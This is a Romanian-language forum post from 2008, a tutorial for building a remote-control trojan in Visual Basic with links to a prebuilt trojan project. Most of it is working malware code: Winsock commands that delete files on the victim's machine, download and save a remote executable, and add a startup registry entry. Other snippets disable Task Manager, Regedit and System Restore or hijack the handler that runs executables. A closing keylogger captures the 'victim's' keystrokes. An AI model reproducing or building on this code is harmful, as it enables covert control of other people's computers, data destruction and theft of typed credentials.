| Autor |
Mesaj |
Zodiacu
Junior 2


Data inscrierii: 31/Ian/2008 Mesaje: 48
|
|
Crearea unui trojan gen Control la Distanta |
|
ACEST TUTORIAL ESTE PE JUMATATE FACUT DE MINE. DACA AVETI TREBUINță DE VISUAL BASIC IL PUTETI DWONLODA DE MAI JOS.
 |
 |
http://www.dump.ro/download.php?id=NzlkYzU1NmMwZGNlNjNhMWFkMGJkYjQ3N2NjZWRkNGI=&download=true |
Poi simplu, partea cea mai grea am facut-o eu. Downloda-ti de aici proiectele gata facute, tu tot ce trebuie sa faci, este sa downlodati de aici acest fisier .ocx si il puneti peste cel din windows/sistem32 si il pui si in windows. Fisierul .ocx il downlodati de aici
Fisier OCX
 |
 |
http://tnt-soft.ueuo.com/infusions/pro_download_panel/file.php?did=1&file_id=1 |
Proiect
 |
 |
http://tnt-soft.ueuo.com/infusions/pro_download_panel/file.php?did=2&file_id=3 |
Acum totul este usor, tot ce va trebui sa faci este sa adagi ceva functi troianului. Functi primesti acum si aici, dar tre sa intelegi ceva din ele.
+ Functii
- Swap Mouse Buttons
- Freeze Mouse
- Crazy Mouse
- Hide Mouse
- Open / Close CDRom
- Auto-Download
- Restart , Shutdown , LogOff , Force Shutdown
- Hide TaskBar
- Hide Clock , Start Button , Desktop Icons
- Server start-up
- Disable/Enable Task Manager
- Lock/Unlock All EXE
- Disable/Enable Regedit
- Disable/Enable Right click
- Disable/Enable System Restore
Vom incepe cu ceva mai simplu , de exemplu stergerea unui fisier . Pentru a sterge un fisier vom folosi functia Kill urmata de locatia fisierului . Deci din client vom trimite un string "kill" urmat de delimitator "kill|" si un alt string , reprezentat de continutul unui textbox care va contine locatia fisierului pe care vrem sa il stergem . In client , pe un buton ( nu uitati sa adaugati textbox ) :
Winsock1.SendData "kill|" + Text3.Text ' Facem ceea ce ne-am propus mai sus
Iar in server , vom sterge fisierul . Daca fisierul nu exista va interveni o eroare , dar vom folosi handlerul de erori .
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim date_primite As String
Dim Vector() As String
Winsock1.GetData date_primite
Vector() = Split(date_primite,"|")
If Vector(0) = "kill" Then
Kill Vector(1)
End If
End Sub
Pentru stergerea unui folder vom proceda la fel . Vom folosi functia RmDir urmata de locatia folderului .
RmDir Vector(1) ' Unde Vector(1) este continutul altui Textbox , si reprezinta locatia folderului care urmeaza sa fie sters .
Putem sterge de exemplu toate fisierele dintr-un folder folosind sintaxa : Kill Folder/*.* , sau fisierele cu o anumita extensie dintr-un folder Kill Folder/*.exe . Cum vom proceda :
Kill Vector(1) & "\*.*" ' Pentru stergerea tuturor fisierelor dintr-un folder ( trimis din client )
Kill Vector(1) & "\*.exe" ' Pentru stergerea tuturor executabilelor din folderul primit de la client
Sa adaugam serverului nostru niste functii mai "utile" .
Pentru cele mai numeroase functii dintre ele vom avea necesitate de un API ( Application Programming Interface ) . Ce este acest API ? Este o functie care se afla intr-una din librariile Widowsului ( user32.DLL , kernel32.DLL ... ) . Noi putem utiliza aceste API-uri in programele noastre din Visual Basic declarandu-le ca functii astfel ( de exemplu ) :
Private Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long
Private sau Public reprezinta tipul functiei . Daca declarati aceasta functie in sectiunea Declarations a Form-ului vostru va necesită declarata Private , iar daca o declarati intr-un modul va trebui declarata Public . De ce ? O functie declarata ca Private poate fi folosita numai unde a fost declarata , de exemplu daca ai declarat o functie ca privata intr-un modul , vei putea folosi functia numai in modul , daca o declari ca publica o poti folosi oriunde in programul tau .
Declare Function e necesar pentru ca Visual Basic sa recunoasca functia ca apartinand unei librarii .
SwapMouseButton reprezinta numele functiei , numele pe care il vei folosi in aplicatia ta .
Lib este un cuvant cheie , care specifica libraria in care se afla functia noastra , in cazul nostru user32.dll .
Alias este un cuvant cheie care specifica numele pe care il are functia in libraria din care face parte , in cazul nostru SwapMouseButton .
Ceea ce se afla in paranteze reprezinta argumentele functiei , parametri . ByVal marcheaza faptul ca argumentul bSwap este transmis prin valoare , la unele veti intalni ByRef care marcheaza faptul ca un argument este transmis prin referinta . Care e diferenta dintre ele ? Daca pentru a apela functia care necesita un argument care sa fie transmis prin valoare , folosim o variabila , aceasta isi va pastra valoarea initiala . Pentru un argumet transmis prin referinta , variabila pe care o folosim va avea valoarea modificata dupa apelul functiei . As Long din paranteza reprezinta tipul parametrului .
As Long din afara parantezei reprezinta tipul functiei , tipul valorii pe care o va returna functia .
Sa incepem cu ceva mai modest . Sa vedem ce putem face cu mouse : Freeze , Swap Buttons , Crazy , Hide . Sa folosim functia descrisa mai sus : SwapMouseButton pentru inceput .
>> Swap Mouse Buttons - adica sa inversam butoanele mouseului .
Functia noastra are nevoie de un solitar parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam . Dupa ce vom declara functia , in serverul nostru la evenimentul Winsock1_DataArrival vom adauga :
If date_primite = "swapmouse" Then
SwapMouseButton 1 ' Folosim APIul pentru a inversa butoanele mouseului . Pentru revenire la normal vom folosi 0 in loc de 1 : SwapMouseButton 0 .
End If
>> Freeze Mouse - adica mouseul ramane mereu in acelasi loc . Cum facem asta ? Rudimentar . Folosim un Timer in care setam pozitia mouseului in acelasi loc . Pentru aceasta vom avea nevoie de alt API :
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Aceasta functie are 2 parametri : x si y . Acesti parametri reprezinta pozitia cursorului mouseului dupa apelul functiei . Pentru a "ingheta" cursorul folosim un Timer la interval 1 .
Private Sub Timer1_Timer()
x = SetCursorPos(300, 500) ' La intamplare 300 , 500 , astea fiind coordonatele la care va fi blocat mouseul , de fapt coordonatele la care va fi setat continuu . Pentru a se reveni la natural oprim timerul .
End Sub
>> Crazy Mouse - cursorul mouseului apare aleator pe ecran . Vom folosi acelasi API ca si la Freeze , vom folosi la fel un Timer la interval 100 sa zicem , numai ca vom seta coordonatele cursorului aleator .
Private Sub Timer2_Timer()
x = SetCursorPos(Rnd * 1000, Rnd * 1000) ' Setam coordonatele cursorului la coordonate aleatoare cuprinse intre 0 si 1000 . La fel , pentru a se reveni la normal , oprim timerul .
End Sub
>> Hide Mouse - ascundem cursorul mouseului . Pentru aceasta vom avea nevoie de urmatorul API :
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Aceasta functie , ca si SwapMouseButton are nevoie de un singur parametru , bShow . Acesta daca este 0 , cursorul mouseului nu va fi vizibil , iar daca este 1 , se va reveni la normal .
If date_primite = "hidemouse" Then
ShowCursor 0 ' Ascundem cursorul mouseului . Pentru a il afisa din nou : ShowCursor 1
End If
>> Open / Close CDRom - deschidem / inchidem CDRomul .
Vom avea nevoie de urmatorul API :
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
E putin mai dificil . Aceasta functie are 4 parametri : lpstrCommand , lpstrReturnString , uReturnLength , hwndCallback .
Primul parametru este cel care ne intereseaza pe noi . Acesta este un string specific MCI ( Multimedia Command Strings ) . Al doilea parametru reprezinta un o variabila in care se vor memora datele de iesire a functiei , noua nu ne trebuie insa si in cazul nostru va fi 0 . Al III-lea parametru reprezinta marimea celui de-al II-lea . Nu ne trebuie si in cazul nostru va fi 0 . Cel de-al IV-lea parametru de întocmai nu ne intereseaza . Conteaza numai daca primul parametru este "notify" . In fine , sa trecem la ale noastre . Pe noi ne intereseaza decat primul parametru . Acesta in cazul nostru va fi pentru Open CDRom : "Set CDAudio Door Open Wait" , iar pentru Close CDRom va fi "Set CDAudio Door Closed Wait" . Desigur , primul parametru poate avea multe valori .
Deci codul nostru pentru CDRom va arata asa :
mciSendString "Set CDAudio Door Open Wait", 0, 0, 0 ' Pentru Open
mciSendString "Set CDAudio Door Closed Wait", 0, 0, 0 ' Pentru Close
>> Auto-Download :
Vom avea nevoie de urmatorul API :
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Aceasta functie ne îngăduie sa descarcam un fisier de la un link anume , si sa il salvam in calculator . Functia are cam multe argumente , insa pe noi ne intereseaza decat 2 . pCaller nu ne intereseaza , il vom pune 0 , este necesar numai daca se apeleaza functia cu ajutorul unei ingrediente ActiveX . Parametrul szURL ne intereseaza pe noi , el fiind linkul de la care vom descarca . Daca link-ul e invalid functia va returna INET_E_DOWNLOAD_FAILURE . Ne mai intereseaza parametrul szFileName . Acesta reprezinta locul in care vom descarca fisierul . Ceilalti 2 parametri nu ne intereseaza , vor fi 0 .
Deci codul de Auto-download va arata cam asa :
URLDownloadToFile(0, "http://link.com/server.exe", "c:\x.exe", 0, 0)
>> Restart , Shutdown , LogOff , Force Shutdown ...
Se pot face foarte usor :
Shell "shutdown.exe -r",vbHide ' Pentru restart
Shell "shutdown.exe -s -t 0", vbHide ' Pentru Shutdown
Shell "shutdown.exe -l", vbHide ' Pentru LogOff
Shell "shutdown.exe -a", vbHide ' Pentru Abort
Insa recomand folosirea urmatoarei functii :
Private Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Aceasta functie e putin mai greu de utilizat . Are nevoie de 2 parametri : uFlags si dwReserved . Primul parametru reprezinta tipul : shutdown , restart ... , iar dwReserved reprezinta motivul pentru Shutdown . Primul parametru poate fi : EWX_LOGOFF ( 0 ) , EWX_POWEROFF ( 0x00000008 ) , EWX_REBOOT ( 0x00000002 ) , EWX_RESTARTAPPS ( 0x00000040 ) , EWX_SHUTDOWN ( 0x00000001 ) si optional EWX_FORCE ( 0x00000004 ) , EWX_FORCEIFHUNG ( 0x00000010 ) . Cred ca intelegeti si voi ce reprezinta fiecare : EWX_LOGOFF = LogOff etc. Al II-lea parametru poate fi de 2 feluri : motive majore , motive minore . Poate lua valorile : SHTDN_REASON_MAJOR_APPLICATION ( 0x00040000 ) = Din cauza unei aplicatii , SHTDN_REASON_MAJOR_HARDWARE ( 0x00010000 ) = Din cauza hardware-ului , SHTDN_REASON_MAJOR_OPERATINGSYSTEM ( 0x00020000 ) = Din cauza sistemului de operare , SHTDN_REASON_MAJOR_SOFTWARE ( 0x00030000 ) = Din cauza unui software , SHTDN_REASON_MAJOR_SYSTEM ( 0x00050000 ) = Eroare de sistem , etc .
Ex. LogOff : x = ExitWindowsEx(EWX_LOGOFF, SHTDN_REASON_MAJOR_OPERATINGSYSTEM)
>> Hide TaskBar - ascundem TaskBar-ul . Cum facem asta ? Pur si simplu gasim TaskBarul ( fereastra ) si o ascundem . Vom folosi 2 API-uri :
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Vom folosi FindWindow pentru a gasi TaskBar-ul si ShowWindow pentru a o ascunde . Functia FindWindow are 2 parametri : lpClassName care reprezinta numele clasei ferestrei . Fiecare fereastra are o clasa deosebit . Aceasta poate fi inregistrata cu susținerea functiei RegisterClass . Daca acest parametru este 0 , functia va gasi orice fereastra specificata de cel de-al II-lea parametru . Acesta specifica titlul ferestrei . In cazul nostru nu e necesar si va fi 0 , vom folosi decat primul parametru care in cazul nostru va fi "Shell_TrayWnd" . Putem afla clasa unei ferestre întrebuințând functia GetClassName .
Pentru a gasi fereastra : x = FindWindow("Shell_TrayWnd", 0) ' x va fi handlerul ferestrei , un fel de maner al ferestrei
Apoi folosim functia ShowWindow pentru a o ascunde . Functia are 2 parametri : hwnd care va fi handlerul ferestrei , in cazul nostru x , si nCmdShow prin care specificam daca fereastra sa fie vizibila sau nu . nCmdShow va fi 0 pentru a ascunde fereastra si 1 pentru a fi vizibila .
ShowWindow (x, 0) ' Pentru a o ascunde , si 1 pentru a fi vizibila .
>> Hide Clock , Start Button , Desktop Icons - cum sa ascundem ceasul , butonul de start , iconitele de pe desktop . Vom avea nevoie de 3 API-uri :
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Functia FindWindow am descris-o mai sus . Care e insa diferenta dintre FindWindow si FindWindowEx ? Necomplicat , FindWindowEx poate gasi ferestrele copil , ferestre care apartin unei alte ferestre ca sa zic asa . De exemplu , o fotografie deschisa in Photoshop este fereastra copil a ferestrei Photoshop-ului . Inițialul argument al functiei FindWindowEx , hWnd1 , reprezinta handlerul ferestrei parinte . Al II-lea parametru este handlerul ferestrei copil . Daca e 0 , functia gaseste întâiul copil al ferestrei parinte . Cel de-al III-lea parametru reprezinta clasa feresrei copil pe care o cautam , iar ultimul parametru reprezinta numele ferestrei pe care o cautam , nu vom folosi nici un nume , vom folosi functia pentru a gasi fereastra dupa clasa , nu ne vor trebui decat handlerul ferestrei parinte si clasa ferestrei copil .
Cu ce ne ajuta aceste lucruri pentru a ascunde ceasul ? Simplu . Ceasul este o fereastra copil a TaskBar-ului , la fel si butonul de start . Va trebui mai intai sa gasim TaskBar-ul folosind FindWindow apoi sa gasim ceasul utilizând FindWindowEx . Sa trecem la treaba :
Dim task as Long ' Declaram variabila task de tipul long . Handlerul unei ferestre este un numar unic furnizat de sistem .
Dim tray as Long ' Declaram variabila tray care va gasi fereastra System Tray-ului , cea in care se afla ceasul .
Dim clock as Long ' Mai declaram clock cu care vom gasi ceasul .
task = FindWindow("shell_traywnd", 0) ' Gasim TaskBar-ul . Variabila task va fi handlerul TaskBar-ului , folosind clasa sa si anume "shell_traywnd" .
tray = FindWindowEx(task, 0, "traynotifywnd", 0) ' Gasim fereastra System Tray-ului si memoram handlerul sau in variabila tray . Dupa cum vedeti folosim FindWindowEx , iar la handlerul fisierului parinte folosim task , handlerul ferestrei TaskBar-ului , clasa fiind "traynotifywnd" .
clock = FindWindowEx(tray, 0, "trayclockwclass", 0) ' Gasim ceasul si memoram handlerul sau in variabila clock . La handlerul ferestrei parinte folosim tray si anume handlerul ferestrei System-Tray-ului , folosind clasa "trayclockwclass".
ShowWindow(clock, 0) ' Folosim functia ShowWindow pentru a ascunde ceasul .]
Vom proceda la fel si cu butonul de start . Cu acesta va fi mai usor . Ceasul era o fereastra copil a system tray-ului care era o fereastra copil a taskbar-ului . Butonul de start este o fereastra copil a TaskBar-ului . Va fi mai usor .
Dim task As Long
Dim start As Long
task = FindWindow("shell_traywnd", 0) ' Gasim si preluam handlerul ferestrei TaskBar-ului in variabila task declarama mai sus
start = FindWindowEx(task, 0&, "button", 0) ' Gasim fereastra butonului de start , folosindu-ne de fereastra TaskBarului .
ShowWindow(start, 0) ' Ascundem butonul de start folosind functia ShowWindow .
Cu iconitele de pe Desktop vom proceda la fel ca si cu ceasul :
Dim screen As Long
Dim desktop As Long
Dim icons As Long
screen = FindWindow("progman", 0) ' Gasim mai intai Program Managerul
desktop = FindWindowEx(screen, 0&, "shelldll_defview", vbNullString) ' Gasim apoi desktopul
icons = FindWindowEx(desktop, 0&, "syslistview32", vbNullString) ' Gasim iconitele de pe Desktop
ShowWindow(icons, 0) ' Ascundem iconitele . Pentru a le afisa din nou ShowWindow(icons, 1)
>> Server start-up - Adaugarea serverului la StartUp
Se face printr-o simpla scriere in registry . Se pot folosi API-uri pentru acest lucru , dar vom face acest lucru mai usor . Vom folosi un obiect WScript . Mai intai vom declara o variabila , apoi vom crea obiectul WScript , mai exact WshShell , pe care il vom crea folosind metoda CreateObject . Odata făcut , cu un astfel de obiect se pot face mai multe lucruri , se poate scrie si citi in registry , se pot crea scurtaturi ...
Dim st ' Declaram variabila
Set st = CreateObject("WScript.Shell") ' Cream obiectul
st.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Server", "C:\WINDOWS\system32\dk.exe" ' Scriem in registry la HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run regkey-ul Server , cu valoarea C:\WINDOWS\system32\dk.exe , adica locatia serverului nostru . Astfel el va rula la startup .
>> Disable/Enable Task Manager - Blocarea si deblocarea task managerului
Se face simplu , doar scriind un key in registry , vom proceda ca mai sus . Pentru disable :
Dim tmd
Set tmd = CreateObject("WScript.Shell") ' Ca mai sus ...
tmd.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD" ' Vom scrie in registry la locatia specificata , key-ul DisableTaskMgr care va avea valoarea 1 pentru Disable . REG_DWORD este un tip de key-uri , va fi nevoie de el .
Iar pentru enable vom seta valoarea key-ului DisableTaskMgr 0 :
Dim tme
Set tme = CreateObject("WScript.Shell")
tme.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD"
>> Lock/Unlock All EXE - Blocarea si deblocarea posibilitati rularii executabilelor
Se face tot la fel , prin scriere in registry . Se pot face foarte multe prin scriere in registry ...
Pentru blocare va fi nevoie de o simpla modificare a valorii default a unui key .
le.RegWrite "HKCR\exefile\shell\open\command\", "Nytro" ' Vom modifica valoare default a lui command . Astfel , la incercarea rularii unui executabil , windows-ul nu va sti cu ce sa il deschida , va aparea : Select a program from a list ... Nu incercati pe voi . O metoda de a scapa : deschideti ceva cu Visual Basic , veti primi o eroare , dar se va deschide Visual Basic . Apoi scrieti un cod care va debloca executabilele , ca cel de mai jos :
ue.RegWrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*" ' Acest cod va permite rularea executabilelor . Mai fidel va scrie in registry , in key-ul default al lui command , valoarea "%1" %* .
>> Disable/Enable Regedit - Blocarea si deblocarea folosirii regedit-ului
Aceeasi poveste ... Nu uitati sa declarati variabilele si sa le setati ca obiecte WshShell
dr.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" ' Pentru disable
er.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD" ' Pentru enable
>> Disable/Enable Right click - Blocarea si deblocarea utilizării butonului drept al mouseului
Tot scriere in registry ...
drc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", 1, "REG_DWORD" ' Pentru disable
erc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", 0, "REG_DWORD" ' Pentru enable
>> Disable/Enable System Restore - Blocarea si deblocarea functiei System Restore
dsr.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 1, "REG_DWORD" ' Pentru disable
esr.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 0, "REG_DWORD" ' Pentru enable
>>>> [ KEYLOGGER ] - Capturarea tuturor tastelor apasate de la tastatura
Pentru a face un keylogger pe care sa il atasam trojanului nostru vom avea putin de lucru . Sa trecem la treaba .
Cel mai important lucru este API-ul GetAsyncKeyState . Cu el vom verifica daca tastele au fost apasate . Acest API arata astfel :
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Are decat un parametru care reprezinta tasta pentru care sa verifice daca e apasata la timpul apelului . Pentru acest parametru vom putea folosi un cod ASCII corespunzator tastei pentru care facem verificarea sau una din constantele prezente in Visual Basic ( KeyCode Constants ) : vbKey0 , vbKey1 , vbKeyA , vbKeyB , vbKeyF1 , vbKeyF2 , vbKeyEscape , vbKeyInsert si multe altele .
Ce vom face pentru a captura toate tastele apasate ? Vom verifica intr-un timer ( cu un interval cat mai mic , 1 de exemplu ) pentru fiecare tasta , daca a fost apasata . Si vom scrie datele intr-un textbox , apoi vom putea trimite datele clientului .
Foarte important ! Daca tasta primita ca parametru a fost apasata functia va returna valoarea -32767 .
Sa incepem cu ceva mai simplu . Sa verificam de exemplu cand a fost apasata tasta C . Vom avea nevoie de un Timer la interval 1 si de un textbox . Deci pentru a verifica daca a fost apasata tasta C timerul nostru va arata cam asa :
Private Sub Timer1_Timer()
Dim x As Integer ' Declaram x ca integer
x = GetAsyncKeyState(vbKeyC) ' x va avea valoarea returnata de GetAsyncKeyState
If x = -32767 Then ' Daca x are valoarea -32767 inseamna ca tasta C a fost apasata
Text1.Text = Text1.Text & "c" ' Si adaugam tasta C in TextBox-ul nostru
End If ' Inchidem instructiunea If
End Sub
Exista o mica problema in legatura cu majusculele si minusculele . Dar vom face acest lucru teribil de simplu cu ajutorul codurilor ASCII .
Sa verificam daca victima noastra a introduc c sau C pentru inceput . Vom verifica daca tasta Shift a fost apasata folosind constanta vbKeyShift . Daca tasta a fost apasata GetAsyncKeyState va returna -32768 . Timerul nostru va arata cam asa :
Private Sub Timer1_Timer()
Dim x, x2 As Integer ' Declaram variabilele
x = GetAsyncKeyState(vbKeyC) ' x va verifica tasta c
x2 = GetAsyncKeyState(vbKeyShift) ' x2 va verifica tasta shift
If x = -32767 Then ' Daca x are valoarea -32767 adica daca tasta c a fost apasata
If x2 = -32768 Then ' Verificam daca tasta shift a fost apasata
Text1.Text = Text1.Text & "C" ' Daca a fost apasata adaugam la logul nostru , in textbox , tasta C , majuscula
Else: Text1.Text = Text1.Text & "c" ' Daca x2 nu are valoarea -32768 inseamna ca tasta shift nu a fost apasata si adaugam in textbox c minuscula .
End If ' Inchidem instructiunea If pentru x2
End If ' Inchidem instructiunea If pentru x
End Sub
Pentru a verifica caracterele de la A la Z vom folosi un For de la 65 ( codul ASCII al lui A ) pana la 90 ( codul ASCII al lui Z ) . Vom verifica de asemenea dispoziția tastei Shift . Daca nu este apasata vom adauga la log caracterul pentru codul ASCII al lui i + 32 ( Codul ASCII al minusculelor este mai mare decat cel al majusculelor cu 32 ) , iar daca e apasata vom adauga caracterul pentru codul ASCII i . Timerul va arata cam asa :
Private Sub Timer1_Timer()
Dim x, x2, i As Integer
For i = 65 To 90 ' i va parcurge tastele de la A la Z
x = GetAsyncKeyState(i) ' x va verifica starea fiecarei taste de la A la Z
x2 = GetAsyncKeyState(16) ' x2 va verifica starea tastei shift
If x = -32767 Then ' Daca o tasta e apasata ( o tasta de la A la Z , o tasta pentru care e corespunzator un cod ASCII cuprins intre 65 si 90 , x va verifica pentru fiecare tasta in parte )
If x2 = -32768 Then ' Daca tasta shift e apasata
Text1.Text = Text1.Text & Chr(i) ' Adaugam la log caracterul corespunzator codului ASCII intr 65 si 90 , cel al literei care a fost apasate , adaugam majuscula , pentru că tasta shift a fost apasata
Else: Text1.Text = Text1.Text & Chr(i + 32) ' Daca nu a fost apasata adaugam minuscula , adica caracterul corespunzator codului ASCII al majusculei + 32 , rezultatul fiind codul ASCII al minusculei
End If ' Inchidem instructiunea If pentru x2
End If ' Inchidem instructiunea If pentru x
Next ' Inchidem For-ul
End Sub
_________________ Daca va tre Gif-uri faine buzz ! |
|
| 11/06/2008 20:35 |
|
 |
|
|
Nu puteti crea un subiect nou in acest forum Nu puteti raspunde in subiectele acestui forum Nu puteti modifica mesajele proprii din acest forum Nu puteti sterge mesajele proprii din acest forum Nu puteti vota in chestionarele din acest forum
|
|
|